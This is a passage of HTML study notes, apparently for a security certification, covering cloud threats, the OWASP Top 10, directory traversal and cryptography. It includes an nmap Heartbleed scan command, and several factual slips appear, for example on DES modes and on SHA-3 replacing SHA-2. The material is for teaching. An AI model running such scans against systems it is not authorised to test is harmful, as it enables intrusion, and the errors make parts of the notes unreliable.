      <p><strong>On-demand self-service</strong></p>
    </li>
    <li>
      <p><strong>Broad network access</strong></p>
    </li>
    <li>
      <p><strong>Multi-tenancy and resource pooling</strong></p>
    </li>
    <li>
      <p><strong>Rapid elasticity and scalability</strong></p>
    </li>
    <li>
      <p><strong>Measured service</strong></p>
    </li>
  </ol>
  <h2><u>Threats:</u></h2>
  <ul>
    <li>
      <p><strong>Data Breach or Loss</strong> - Biggest threat; includes malicious theft, erasure or modification</p>
    </li>
    <li>
      <p><strong>Shadow IT</strong> - IT systems or solutions that are developed to handle an issue but aren't taken
        through proper approval chain</p>
    </li>
    <li>
      <p><strong>Abuse of Cloud Resources</strong> - Another high threat (usually applies to Iaas and PaaS)</p>
    </li>
    <li>
      <p><strong>Insecure Interfaces and APIs</strong> - Cloud services can't function without them, but need to make
        sure they are secure</p>
    </li>
    <li>
      <p><strong>Service Oriented Architecture</strong> - API that makes it easier for application components to
        cooperate and exchange information</p>
    </li>
    <li>
      <p><strong>Insufficient due diligence</strong> - Moving an application without knowing the security differences
      </p>
    </li>
    <li>
      <p><strong>Shared technology issues</strong> - Multitenant environments that don't provide proper isolation</p>
    </li>
    <li>
      <p><strong>Unknown risk profiles</strong> - Subscribers simply don't know what security provisions are made int he
        background</p>
    </li>
    <li>
      <p><strong>Wrapping Attack</strong> - SOAP message intercepted and data in envelope is changed and sent/replayed
      </p>
    </li>
    <li>
      <p><strong>Session riding</strong> - CSRF under a different name; deals with cloud services instead of traditional
        data centers</p>
    </li>
    <li>
      <p><strong>Others include malicious insiders, inadequate design and DDoS</strong></p>
      <ul>
        <li>Other threats:
          <ul>
            <li>Loss/compromise of encryption keys</li>
            <li>Isolation failure</li>
            <li>Compliance risk</li>
            <li>VM vulnerabilities</li>
            <li>Vendor lock-on</li>
            <li>Jurisdictional issues based on chaning geographic boundaries</li>
            <li>E-discovery/subpoena</li>
            <li>Cloud service termination/failure</li>
            <li>Improper/incomplete data handling &amp; disposal</li>
            <li>Management network failure/interface compromise</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h2><u> Attacks:</u></h2>
  <ol>
    <li>Service hijacking via Social engineering &amp; network sniffing</li>
    <li>Session hijacking using XSS</li>
    <li>DNS attacks</li>
    <li>Side channel attacks - (e.g.: Using an existing VM on the same physical host to attack another)</li>
    <li>Cross VM attacks</li>
    <li>SQL injection</li>
    <li>Cryptanalysis attacks</li>
    <li>Wrapping attacks - performed during the translation of SOAP messages in the TLS layer; attackers duplicate the
      body of the message and send it to the targeted server impersonating the legitimate user.</li>
    <li>DoS/DDoS attack</li>
    <li>Main-in-the-Cloud attacks - abuse of cloud file synchronization services br tracking the user into installing
      malicious software that places the attacker's synchronization token for the service ton their machine, allowing
      the attacker to steal the user's token and gain access to their files.</li>
  </ol>
  <h2><u> OWASP Top 10 Application Security Risks </u></h2>
  <ol>
    <li>
      <p><strong>Injection</strong> - Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted
        data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the
        interpreter into executing unintended commands or accessing data without proper authorization.</p>
      <ul>
        <li>Input validation</li>
        <li>Limit account privileges</li>
      </ul>
    </li>
    <li>
      <p><strong>Broken Authentication</strong> - Application functions related to authentication and session management
        are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to
        exploit other implementation flaws to assume other users’ identities temporarily or permanently.</p>
    </li>
    <li>
      <p><strong>Sensitive Data Exposure</strong> - Many web applications and APIs do not properly protect sensitive
        data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to
        conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra
        protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the
        browser.</p>
    </li>
    <li>
      <p><strong>XML External Entities (XXE)</strong> - Many older or poorly configured XML processors evaluate external
        entity references within XML documents. External entities can be used to disclose internal files using the file
        URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.
      </p>
      <ul>
        <li>If your application uses SAML for identify processing with federated security or Single Sing on (SSO). SAML
          uses XML.</li>
        <li>If applications accepts XML directly or XML uploads from unstrusted sources, or inserts untrusted data into
          XML documents.</li>
        <li>Any of XML processors in the application or SOAP based web services that have (DTDs) enabled.</li>
      </ul>
    </li>
    <li>
      <p><strong>Broken Access Control</strong> - Restrictions on what authenticated users are allowed to do are often
        not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such
        as access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.</p>
    </li>
    <li>
      <p><strong>Security Misconfiguration</strong> - is the most commonly seen issue. This is commonly a result of
        insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP
        headers, and verbose error messages containing sensitive information. Not only must all operating systems,
        frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely
        fashion.</p>
    </li>
    <li>
      <p><strong>Cross-Site Scripting XSS</strong> - occur whenever an application includes untrusted data in a new web
        page without proper validation or escaping, or updates an existing web page with user-supplied data using a
        browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser
        which can hijack user sessions, deface web sites, or redirect the user to malicious sites.</p>
      <ul>
        <li>Reflected XSS</li>
        <li>Stored XSS</li>
        <li>DOM XSS</li>
      </ul>
    </li>
    <li>
      <p><strong>Insecure Deserialization</strong> - often leads to remote code execution. Even if deserialization flaws
        do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection
        attacks, and privilege escalation attacks.</p>
    </li>
    <li>
      <p><strong>Using Components with Known Vulnerabilities</strong> - Components, such as libraries, frameworks, and
        other software modules, run with the same privileges as the application. If a vulnerable component is exploited,
        such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with
        known vulnerabilities may undermine application defenses and enable various attacks and impacts.</p>
    </li>
    <li>
      <p><strong>Insufficient Logging &amp; Monitoring</strong> - Insufficient logging and monitoring, coupled with
        missing or ineffective integration with incident response, allows attackers to further attack systems, maintain
        persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to
        detect a breach is over 200 days, typically detected by external parties rather than internal processes or
        monitoring.</p>
    </li>
  </ol>
  <h2><u>Additional Attacks</u></h2>
  <ol>
    <li><strong>Directory Traversal</strong> (../) - An attacker can get sensitive information like the contents of the
      /etc/passwd file that contains a list of users on the server; Log files, source code, access.log and so on</li>
    <li><strong>Cross-site Request Forgery (CSRF)</strong> - Forces an end user to execute unwanted actions on an app
      they're already authenticated on
      <ul>
        <li>Inherits identity and privileges of victim to perform an undesired function on victim's behalf</li>
        <li>Captures the session and sends a request based off the logged in user's credentials</li>
        <li>Can be mitigated by sending <strong>random challenge tokens</strong></li>
      </ul>
    </li>
  </ol>
  <h2><u> Cloud Security Control Layers </u></h2>
  <p><em>Problem with cloud security is what you are allowed to test and what should you test; Another concern is with a
      hypervisor, if the hypervisor is compromised, all hosts on that hypervisor are as well.</em></p>
  <ol>
    <li>
      <p><strong>Applications</strong> - SDCL (Software development cycle), WAF (web application firewall)</p>
    </li>
    <li>
      <p><strong>Information</strong> - DLP, encryption</p>
    </li>
    <li>
      <p><strong>Management</strong> - GRC, IAM , Patch &amp; Configuration</p>
    </li>
    <li>
      <p><strong>Network</strong> - NIDS/NIPS, DNSSEC, QoS</p>
    </li>
    <li>
      <p><strong>Trusted Computing Model</strong> - attempts to resolve computer security problems through hardware
        enhancements</p>
    </li>
  </ol>
  <ul>
    <li><strong>Roots of Trust (RoT)</strong> - set of functions within TCM that are always trusted by the OS</li>
  </ul>
  <ol start="6">
    <li>
      <p><strong>Computer &amp; Network Storage</strong> - Encryption, Host-based firewall, HIDS/HIPS</p>
    </li>
    <li>
      <p><strong>Physical</strong> - Guards, Gates, Fences etc.</p>
    </li>
  </ol>
  <p><strong>Tools</strong></p>
  <ul>
    <li><strong>CloudInspect</strong> - pen-testing application for AWS EC2 users</li>
    <li><strong>CloudPassage Halo</strong> - instant visibility and continuous protection for servers in any cloud</li>
    <li><strong>Dell Cloud Manager</strong></li>
    <li><strong>Qualys Cloud Suite</strong></li>
    <li><strong>Trend Micro's Instant-On Cloud Security</strong></li>
    <li><strong>Panda Cloud Office Protection</strong></li>
  </ul>
  <h1>16. Cryptography</h1>
  <p align="center">
    <img width="70%" src="https://cdn.ttgtmedia.com/rms/onlineImages/security_cissp_cryptography_mobile.jpg">
  </p>
  <h3>The goals of Cryptography:</h3>
  <ul>
    <li><strong>C.I.A. + Nonrepudiation</strong>
      <ul>
        <li><strong>Nonrepudiation</strong> - Means by which a recipient can ensure the identity of the sender and
          neither party can deny sending.</li>
      </ul>
    </li>
  </ul>
  <h2><u>Basic Terms &amp; Concepts </u></h2>
  <ul>
    <li>
      <p><strong>Cryptography</strong></p>
      <ul>
        <li>Science or study of protecting information whether in transit or at rest</li>
        <li>Renders the information unusable to anyone who can't decrypt it</li>
        <li>Takes plain text, applies cryptographic method, turn it into cipher text</li>
      </ul>
    </li>
    <li>
      <p><strong>Cryptanalysis</strong></p>
      <ul>
        <li>Study and methods used to crack cipher text</li>
      </ul>
    </li>
    <li>
      <p><strong>Linear Cryptanalysis</strong></p>
      <ul>
        <li>Works best on block ciphers</li>
      </ul>
    </li>
    <li>
      <p><strong>Differential Cryptanalysis</strong></p>
      <ul>
        <li>Applies to symmetric key algorithms</li>
        <li>Compares differences in the inputs to how each one affects the outcome</li>
      </ul>
    </li>
    <li>
      <p><strong>Integral cryptanalysis</strong></p>
      <ul>
        <li>input vs output comparison same as differential; however, runs multiple computations of the same block size
          input</li>
      </ul>
    </li>
    <li>
      <p>Plain text doesn't necessarily mean ASCII format - it simply means unencrypted data</p>
    </li>
    <li>
      <p><strong>Key clustering</strong> - Different encryption keys generate the same ciphertext from the same
        plaintext message</p>
    </li>
  </ul>
  <h2><u>Where to <strong>Encrypt &amp; Decrypt</strong>?</u></h2>
  <ul>
    <li><strong>Data-in-Transit</strong> / <strong>Data-in motion</strong>: Transport / Network
      <ul>
        <li>Not much protection as it travels
          <ul>
            <li>Many different switches, routers, devices</li>
          </ul>
        </li>
        <li>Network-based protection:
          <ul>
            <li>Firewall, IPS</li>
          </ul>
        </li>
        <li>Provide transport encryption:
          <ul>
            <li>TLS, IPsec</li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>Data-at-Rest</strong>: Resides in storage
      <ul>
        <li>Hard drive, SSD, flash drive, etc</li>
        <li>Encrypt the data
          <ul>
            <li>Whole disk encryption</li>
            <li>Database encryption</li>
            <li>File or/ folder-level encryption</li>
          </ul>
        </li>
        <li>Apply permissions
          <ul>
            <li>Access control lists</li>
            <li>Only authorized users can access the data</li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>Data-in-use</strong> / <strong>Data-in-process</strong>: RAM &amp; CPU
      <ul>
        <li>The data is in memory or CPU registers and cache</li>
        <li>The data is almost always decrypted</li>
      </ul>
    </li>
  </ul>
  <h2><u>Encryption Algorithms</u></h2>
  <ul>
    <li><strong>Algorithm</strong> - step-by-step method of solving a problem</li>
    <li><strong>Two General Forms of Cryptography</strong>
      <ul>
        <li><strong>Substitution</strong> - bits are replaced by other bits</li>
        <li><strong>Transposition</strong> - doesn't replace; simply changes order</li>
      </ul>
    </li>
    <li><strong>Encryption Algorithms</strong> - mathematical formulas used to encrypt and decrypt data</li>
    <li><strong>Steam Cipher</strong> - readable bits are encrypted one at a time in a continuous stream
      <ul>
        <li>Usually done by an XOR operation</li>
        <li>Work at a high rate of speed</li>
      </ul>
    </li>
    <li><strong>Block Cipher</strong> - data bits are split up into blocks and fed into the cipher
      <ul>
        <li>Each block of data (usually 64 bits) encrypted with key and algorithm</li>
        <li>Are simpler and slower than stream ciphers</li>
      </ul>
    </li>
    <li><strong>XOR</strong> - exclusive or; if inputs are the same (0,0 or 1,1), function returns 0; if inputs are not
      the same (0,1 or 1,0), function returns 1</li>
    <li>Key chosen for cipher must have a length larger than the data; if not, it is vulnerable to frequency attacks
    </li>
  </ul>
  <h2><u>Symmetric Encryption</u></h2>
  <ul>
    <li><strong>Symmetric Encryption</strong> - One Single Key / Session Key to encryption and decryption.</li>
  </ul>
  <blockquote>
    <ul>
      <li><strong>Known as:</strong>
        <ul>
          <li>Single key cryptography</li>
          <li>Secret key cryptography</li>
          <li>Shared key cryptography</li>
          <li>Session key cryptography</li>
        </ul>
      </li>
    </ul>
  </blockquote>
  <p align="center">
    <img width="70%" src="https://doubleoctopus.com/wp-content/uploads/2018/06/Symmetric-Key-Encryption.png">
  </p>
  <p><strong>One key is used to encrypt and decrypt the data.</strong></p>
  <ul>
    <li>
      <p>Suitable for large amounts of data</p>
    </li>
    <li>
      <p>128-bit or larger symmetric keys are common</p>
    </li>
    <li>
      <p>Harder for groups of people because more keys are needed as group increases</p>
    </li>
    <li>
      <p>Can be very fast to use</p>
      <ul>
        <li>Less overhead than asymmetric encryption</li>
        <li>Often combined with asymmetric encryption</li>
      </ul>
    </li>
    <li>
      <p><strong>Problems/Weaknesses of Symmetric Encryption:</strong></p>
      <ul>
        <li>Problems include key distribution and management / not scalable</li>
        <li>Non-repudiation possible because everyone has a copy of the key</li>
        <li>Key must be regenerated whenever anyone leaves the group of keyholders</li>
      </ul>
    </li>
  </ul>
  <h3>Cryptosystem</h3>
  <p>Defines key properties, communication requirements for the key exchange; actions through encryption and decryption
    process.</p>
  <p><em>e.g.: Using asymetric encryption to exchange Session keys after that communicate using Symmetric
      encryption.</em></p>
  <ul>
    <li><strong>Key escrow</strong> (also known as a “fair” cryptosystem) is an arrangement in which the keys needed to
      decrypt encrypted data are held in escrow so that, under certain circumstances, an authorized third party may gain
      access to those keys.</li>
  </ul>
  <h3><strong>Symmetric Cryptosystems:</strong></h3>
  <table>
    <thead>
      <tr>
        <th>Algorithm</th>
        <th>Block or Streaming</th>
        <th>Block Size</th>
        <th>Rounds</th>
        <th>Key Size</th>
        <th>Notes</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>DES</strong></td>
        <td>Block</td>
        <td>64-bit</td>
        <td>16</td>
        <td>56 bits</td>
        <td>Uses five modes of operation: ECB, CBC, CFB, OFB and CTR.</td>
      </tr>
      <tr>
        <td><strong>Blowfish</strong></td>
        <td>Block</td>
        <td>64-bit</td>
        <td>16</td>
        <td>32-448 bits</td>
        <td>Public domain algorithm.</td>
      </tr>
      <tr>
        <td><strong>Twofish</strong></td>
        <td>Block</td>
        <td>128-bit</td>
        <td>16</td>
        <td>128, 192 and 256 bits</td>
        <td>Public domain algorithm.</td>
      </tr>
      <tr>
        <td><strong>3DES</strong></td>
        <td>Block</td>
        <td>64-bit</td>
        <td>16</td>
        <td>168 bits (56 x 3)</td>
        <td>Repeats DES process 3 times.</td>
      </tr>
      <tr>
        <td><strong>AES</strong></td>
        <td>Block</td>
        <td>128-bit</td>
        <td>10, 12, or 14</td>
        <td>128, 192 or 256 bits</td>
        <td>Encryption standard for the US Gov.; Used in WPA2</td>
      </tr>
      <tr>
        <td><strong>RC4</strong></td>
        <td>Streaming</td>
        <td>N/A</td>
        <td>1</td>
        <td>40-2048 bits</td>
        <td>Used in WEP, SSL and TLS; largely deprecated in current;technologies.</td>
      </tr>
      <tr>
        <td><strong>IDEA</strong></td>
        <td>Block</td>
        <td>64-bit</td>
        <td>8</td>
        <td>128 bits</td>
        <td>Made for replacement for the DES</td>
      </tr>
    </tbody>
  </table>
  <ul>
    <li>Larger keys than symmetric encryption; Common to see key lengths of 3,072 bits or larger</li>
  </ul>
  <h2><u>Asymmetric Encryption</u></h2>
  <p><strong>Uses a Key pair:</strong></p>
  <blockquote>
    <ul>
      <li><strong>Public Key</strong> - Anyone can see this key; give it away</li>
      <li><strong>Private Key</strong> - Keep this private; used for decryption; The private key is used to digitally
        sign a message.</li>
    </ul>
  </blockquote>
  <p align="center">
    <img width="70%"
      src="https://www.researchgate.net/profile/Ons_Jallouli/publication/321123382/figure/fig2/AS:561500483002368@1510883555030/Asymmetric-encryption-primitive.png">
  </p>
  <ul>
    <li>
      <p><strong>Algorithms:</strong></p>
      <ul>
        <li><strong>Diffie-Hellman</strong> - Developed as a key exchange protocol; used in SSL and IPSec; if digital
          signatures are waived, vulnerable to MITM attacks</li>
        <li><strong>Elliptic Curve Cryptosystem</strong> (ECC) - Uses points on elliptical curve along with logarithmic
          problems; uses less processing power; good for mobile devices</li>
        <li><strong>RSA</strong> - Achieves strong encryption through the use of two large prime numbers; factoring
          these create key sizes up to 4096 bits; modern de facto standard</li>
        <li><strong>El Gamal</strong> - Not based on prime number factoring; uses solving of discrete logarithm problems
        </li>
      </ul>
    </li>
    <li>
      <p>Only downside is it's slower than symmetric especially on bulk encryption and processing power</p>
    </li>
  </ul>
  <h2><u>Hashes</u></h2>
  <ul>
    <li><strong>One-way encryption</strong></li>
    <li><strong>Verify the Integrity of the message.</strong></li>
    <li><strong>Verify the authenticity of the message (proof of origin &amp; non-repudiation)</strong></li>
    <li>Impossible to recover the original message from the digest</li>
    <li>Used to <strong>store passwords</strong> providing <strong>confidentiality</strong>.</li>
  </ul>
  <table>
    <thead>
      <tr>
        <th>Hash</th>
        <th>Algo.</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>MD5</td>
        <td>128 bit hash</td>
      </tr>
      <tr>
        <td>SHA-1</td>
        <td>160 bit hash</td>
      </tr>
      <tr>
        <td>SHA256</td>
        <td>256 bit hash</td>
      </tr>
    </tbody>
  </table>
  <p><em>Examples</em>:</p>
  <pre><code class="language-console">String: hello world!

MD5 Hash: FC3FF98E8C6A0D3087D515C0473F8677
SHA-1 Hash: 430CE34D020724ED75A196DFC2AD67C77772D169
SHA256 Hash: 7509E5BDA0C762D2BAC7F90D758B5B2263FA01CCBC542AB5E3DF163BE08E6CA9
</code></pre>
  <blockquote>
    <p>⚠️ If you change a single character, the entire Hash value changes. <strong>See the example below, changing the
        last character '!' to '.'</strong></p>
  </blockquote>
  <ul>
    <li>String: <strong>hello world!</strong>
      <ul>
        <li><code>MD5 Hash: FC3FF98E8C6A0D3087D515C0473F8677</code></li>
      </ul>
    </li>
    <li>String: <strong>hello world.</strong>
      <ul>
        <li><code>MD5 Hash: 3C4292AE95BE58E0C58E4E5511F09647</code></li>
      </ul>
    </li>
  </ul>
  <h3><strong>Message digest</strong></h3>
  <p>A message digest or hash, can be used to verify the integrity of a message by comparing the original hash to one
    generated after receipt of the message. If the two match, then integrity is assured. If they do not match, then the
    message was altered between transmission and receipt.</p>
  <blockquote>
    <p>⚠️ <strong>Message digests are also called:</strong></p>
    <ul>
      <li>hashes</li>
      <li>hash values</li>
      <li>hash total</li>
      <li>CRC</li>
      <li>fingerprint</li>
      <li>checksum</li>
      <li>digital ID</li>
    </ul>
  </blockquote>
  <h2>Hashing Algorithms</h2>
  <h3>MD5 - Message Digest Algorithm</h3>
  <ul>
    <li>First published in April 1992</li>
    <li>Replaced MD4</li>
    <li>128-bit hash value</li>
    <li>1996: Vulnerabilities found
      <ul>
        <li>Not collision resistant</li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Collision</strong> - occurs when two or more files create the same output</p>
    <ul>
      <li>Can happen and can be used an attack; rare, though</li>
    </ul>
  </blockquote>
  <blockquote>
    <p>⚠️ <strong>Key space</strong> - Represents the total number of possible values of keys in a cryptographic
      algorithm or other security measure, such as password</p>
  </blockquote>
  <blockquote>
    <p>⚠️ <strong>DUHK Attack</strong> (Don't Use Hard-Coded Keys) - allows attackers to access keys in certain VPN
      implementations; affects devices using ANSI X9.31 with a hard-coded seed key</p>
  </blockquote>
  <blockquote>
    <p>⚠️ <strong>Rainbow Tables</strong> - contain precomputed hashes to try and find out passwords</p>
  </blockquote>
  <h3>SHA - Secure Hash Algorithm</h3>
  <ul>
    <li>Developed by NSA</li>
  </ul>
  <h4>SHA-1</h4>
  <ul>
    <li>Widely used</li>
    <li>160-bit digest</li>
    <li>Weak; <em>2005: Collision attacks published</em></li>
  </ul>
  <h4><strong>SHA-2</strong> Family</h4>
  <ul>
    <li>SHA-256 | minor version: SHA-224</li>
    <li>SHA-512 | minor version: SHA-384</li>
  </ul>
  <h4><strong>SHA-3</strong></h4>
  <ul>
    <li>Uses a hash function called Keccack and has the same length of SHA-2.</li>
    <li>SHA-1 and SHA-2 have been replaced by the latest iteration of SHA known as SHA-3.</li>
  </ul>
  <h3><strong>HMAC</strong></h3>
  <p>Hash Message Authentication Code - Used in conjunction with symmetric key both to authenticate and verify integrity
    of the message.</p>
  <ul>
    <li>Verify data <strong>integrity</strong> and <strong>authenticity</strong>
      <ul>
        <li>No fancy asymmetric encryption is required</li>
      </ul>
    </li>
    <li>Used in network encryption protocols
      <ul>
        <li>IPsec, TLS</li>
      </ul>
    </li>
    <li>Requires each side of the conversation to have the same key</li>
  </ul>
  <h3><strong>RIPEMD</strong></h3>
  <p>RACE Integrity Primitives Evaluation Message Digest.</p>
  <ul>
    <li>Not very common</li>
    <li>Open Standard</li>
    <li>128, 168, 256, 320 bit digests <em>(RIPEMD-128, RIPEMD-256, RIPEMD-320)</em></li>
    <li><em>Original RIPEMD was found to have collision issues (2004)</em>
      <ul>
        <li>Effectively replaced with RIPEMD-160 (no known collision issues)</li>
        <li>Based upon MD4 design but performs similar to SHA-1</li>
      </ul>
    </li>
  </ul>
  <h2><strong>Keystretching</strong></h2>
  <p>Combine a very long salt and a huge number of hashing iterations to make cracking even more harder. (e.g Hashing
    the hashed password <code>N</code> times)</p>
  <p><strong>Two most popular Key stretching libraries/ functions:</strong></p>
  <ul>
    <li><strong>PBKDF2</strong> (Password-Based Key Derivation Function 2) algorithm
      <ul>
        <li>Part of RSA public key cryptography standards (PKCS #5, RFC 2898)</li>
      </ul>
    </li>
    <li><strong>bcrypt</strong>
      <ul>
        <li>Generates hashes from passwords</li>
        <li>An extension to the UNIX crypt library</li>
        <li>Uses Blowfish cipher to perform multiple rounds of hashing</li>
      </ul>
    </li>
  </ul>
  <p><em>Example</em>:</p>
  <ul>
    <li><strong>PBKDF2</strong></li>
  </ul>
  <pre><code>Password: 123456
</code></pre>
  <pre><code>Hash:
rYoSDg62evyzhE1+lWBa9A==:YaeMu71c8KU3H0RYFPle0Q==
</code></pre>
  <ul>
    <li><strong>bcrypt</strong></li>
  </ul>
  <pre><code>Password: 123456
</code></pre>
  <pre><code>Hash:
$2b$10$vES9mCPsE10//vOc1u01XeUVmJrZyHGMPaRfo39OIUoJ2g7iPtDnu
</code></pre>
  <blockquote>
    <p>⚠️ <strong>Key streaming</strong> - involves sending individual characters of the key through an algorithm and
      using a mathematical XOR function to change the output.</p>
  </blockquote>
  <h2>Cryptographic nonce</h2>
  <p><em>Cryptographic randomization schemes</em></p>
  <ul>
    <li>Used once - 'for the nonce'/ for the time being</li>
    <li>A random or pseudo-random number
      <ul>
        <li>Somehting that can't be reasonably guessed</li>
        <li>Can also be a counter</li>
      </ul>
    </li>
    <li>Use a nonce during the login process
      <ul>
        <li>Server gives you a nonce</li>
        <li>Calculate your password hash using the nonce</li>
        <li><strong>Each password hash sent to the host will be different</strong>, so a replay attack won't work</li>
      </ul>
    </li>
  </ul>
  <h2><u>Initialization vectors (IV)</u></h2>
  <ul>
    <li>Is a type of nonce
      <ul>
        <li>Used for randomizing an encryption scheme</li>
        <li>The more random the better</li>
      </ul>
    </li>
    <li>Use in encryption ciphers, WEP, and older SSL implementations</li>
  </ul>
  <p align="center">
    <img src="https://defuse.ca/images/cbc_encryption.png">
  </p>
  <h2><u>Digital Signatures</u></h2>
  <ul>
    <li>When signing a message, you sign it with your <strong>private</strong> key and the recipient decrypts the hash
      with your <strong>public</strong> key</li>
    <li><strong>Digital Signature Algorithm</strong> (DSA) - used in generation and verification of digital signatures
      per FIPS 186-2</li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Digital Signature Standard (DSS):</strong></p>
    <ul>
      <li>Document that NIST puts out to specify the digital signature algorithms &amp; the encryption algorithms
        approved for use by the US gov.</li>
    </ul>
  </blockquote>
  <h2><u>PKI System</u></h2>
  <p><em><strong>Public Key Infrastructure</strong> (PKI) - structure designed to verify and authenticate the identity
      of individuals</em></p>
  <p align="center">
    <img src="https://www.appviewx.com/wp-content/uploads/2020/05/Education-Center-Public-Key-Infrastructure.jpg">
  </p>
  <ul>
    <li>
      <p>Also refers to the binding of public keys to people or devices</p>
      <ul>
        <li>The certificate authority (CA)</li>
        <li>It's all about trust</li>
      </ul>
    </li>
    <li>
      <p><strong>X.509 v3</strong> is current format most widely used. Part of the X.500 family of standards</p>
    </li>
  </ul>
  <h3><strong>Digital Certificates</strong></h3>
  <ul>
    <li>
      <p><strong>Certificate</strong> - electronic file that is used to verify a user's identity; provides
        nonrepudiation</p>
    </li>
    <li>
      <p><strong>X.509</strong> - standard used for digital certificates</p>
    </li>
    <li>
      <p><strong>Contents of a Digital Certificate:</strong></p>
      <ul>
        <li><img
            src="https://sites.google.com/site/amitsciscozone/_/rsrc/1468881655481/home/security/digital-certificates-explained/Digital%2520Certificate%2520Format.PNG"
            alt="digi-cert">
          <ul>
            <li><strong>Version</strong> - identifies certificate format</li>
            <li><strong>Serial Number</strong> - used to uniquely identify certificate</li>
            <li><strong>Subject</strong> - who or what is being identified</li>
            <li><strong>Algorithm ID</strong> (Signature Algorithm) - shows the algorithm that was used to create the
              certificate</li>
            <li><strong>Issuer</strong> - shows the entity that verifies authenticity</li>
            <li><strong>Valid From and Valid To</strong> - dates certificate is good for</li>
            <li><strong>Key Usage</strong> - what purpose the certificate serves</li>
            <li><strong>Subject's Public Key</strong> - copy of the subject's public key</li>
            <li><strong>Optional Fields</strong> - Issuer Unique Identifier, Subject Alternative Name, and Extensions
            </li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p>Some root CAs are automatically added to OSes that they already trust; normally are reputable companies</p>
    </li>
    <li>
      <p><strong>Self-Signed Certificates</strong> - certificates that are not signed by a CA; generally not used for
        public; used for development purposes</p>
      <ul>
        <li>Signed by the same entity it certifies</li>
      </ul>
    </li>
  </ul>
  <p><strong>Registration Authority</strong></p>
  <ul>
    <li>Verifies user identity</li>
  </ul>
  <p><strong>Certificate Authority</strong></p>
  <ul>
    <li>Third party to the organization; creates and issues digital certificates</li>
  </ul>
  <p><strong>Certificate Revocation List (CRL)</strong></p>
  <ul>
    <li>Used to track which certificates have problems and which have been revoked</li>
  </ul>
  <p><strong>Validation Authority</strong></p>
  <ul>
    <li>Used to validate certificates via Online Certificate Status Protocol (OCSP)</li>
  </ul>
  <p><strong>Trust Model</strong></p>
  <ul>
    <li>How entities within an enterprise deal with keys, signatures and certificates</li>
  </ul>
  <p><strong>Cross-Certification</strong></p>
  <ul>
    <li>Allows a CA to trust another CS in a completely different PKI; allows both CAs to validate certificates from
      either side</li>
  </ul>
  <p><strong>Single-authority system</strong></p>
  <ul>
    <li>CA at the top</li>
  </ul>
  <p><strong>Hierarchical trust system</strong></p>
  <ul>
    <li>CA at the top (root CA); makes use of one or more RAs (subordinate CAs) underneath it to issue and manage
      certificates</li>
  </ul>
  <h2><strong>Key Wrapping and Key Encryption Keys (KEK)</strong></h2>
  <ul>
    <li>KEKs are used as part of key distribution or key exchange.</li>
    <li>key Wrapping - Protect session keys</li>
    <li>If the cipher is a symmetric KEK, both the sender and the receiver will need a copy of the same key</li>
    <li>If using an asymmetric cipher, with public/private key properties, to encapsulate a session key, both the sender
      and the receiver will need the other's public key</li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Protocols such as SSL, PGP, and S/MIME use the services of KEKs to provide session key
        confidentiality, integrity,</strong> and sometimes to authenticate the binding of the session key originator and
      the session key itself.</p>
  </blockquote>
  <h2><u>Full Disk Encryption - FDE</u></h2>
  <ul>
    <li><strong>Data at Rest</strong> (DAR) - data that is in a stored state and not currently accessible
      <ul>
        <li>Usually protected by <strong>full disk encryption</strong> (FDE) with pre-boot authentication</li>
        <li>Example of FDE is Microsoft BitLocker and McAfee Endpoint Encryption</li>
        <li>FDE also gives protection against boot-n-root</li>
      </ul>
    </li>
  </ul>
  <h2><u>Encrypted Communication</u></h2>
  <ul>
    <li>
      <p><strong>Often-Used Encrypted Communication Methods:</strong></p>
      <ul>
        <li>
          <p><strong>Secure Shell</strong> (SSH) - secured version of telnet; uses port 22; relies on public key
            cryptography; SSH2 is successor and includes SFTP</p>
        </li>
        <li>
          <p><strong>Secure Sockets Layer (SSL)</strong> - encrypts data at transport layer and above; uses RSA
            encryption and digital certificates; has a six-step process; largely has been replaced by TLS</p>
        </li>
        <li>
          <p><strong>Transport Layer Security (TLS)</strong> - uses RSA 1024 and 2048 bits; successor to SSL; allows
            both client and server to authenticate to each other; TLS Record Protocol provides secured communication
            channel</p>
        </li>
        <li>
          <p><strong>Internet Protocol Security (IPSEC)</strong> - network layer tunneling protocol; used in tunnel and
            transport modes; ESP encrypts each packet</p>
        </li>
        <li>
          <p><strong>PGP</strong> - Pretty Good Privacy; used for signing, compress and encryption of emails, files and
            directories; known as hybrid cryptosystem - features conventional and public key cryptography</p>
        </li>
        <li>
          <p><strong>S/MIME</strong> - standard for public key encryption and signing of MIME data; only difference
            between this and PGP is PGP can encrypt files and drives unlike S/MIME</p>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Heartbleed</strong> - attack on OpenSSL heartbeat which verifies data was received correctly</p>
      <ul>
        <li>Vulnerability is that a single byte of data gets 64kb from the server</li>
        <li>This data is random; could include usernames, passwords, private keys, cookies; very easy to pull off</li>
        <li><code>nmap -d --script ssl-heartbleed --script-args vulns.showall -sV [host]</code></li>
        <li>Vulnerable versions include Open SSL 1.0.1 and 1.0.1f</li>
        <li>CVE-2014-0160</li>
      </ul>
    </li>
    <li>
      <p><strong>FREAK (Factoring Attack on RSA-EXPORT Keys)</strong> - man-in-the-middle attack that forces a downgrade
        of RSA key to a weaker length</p>
    </li>
    <li>
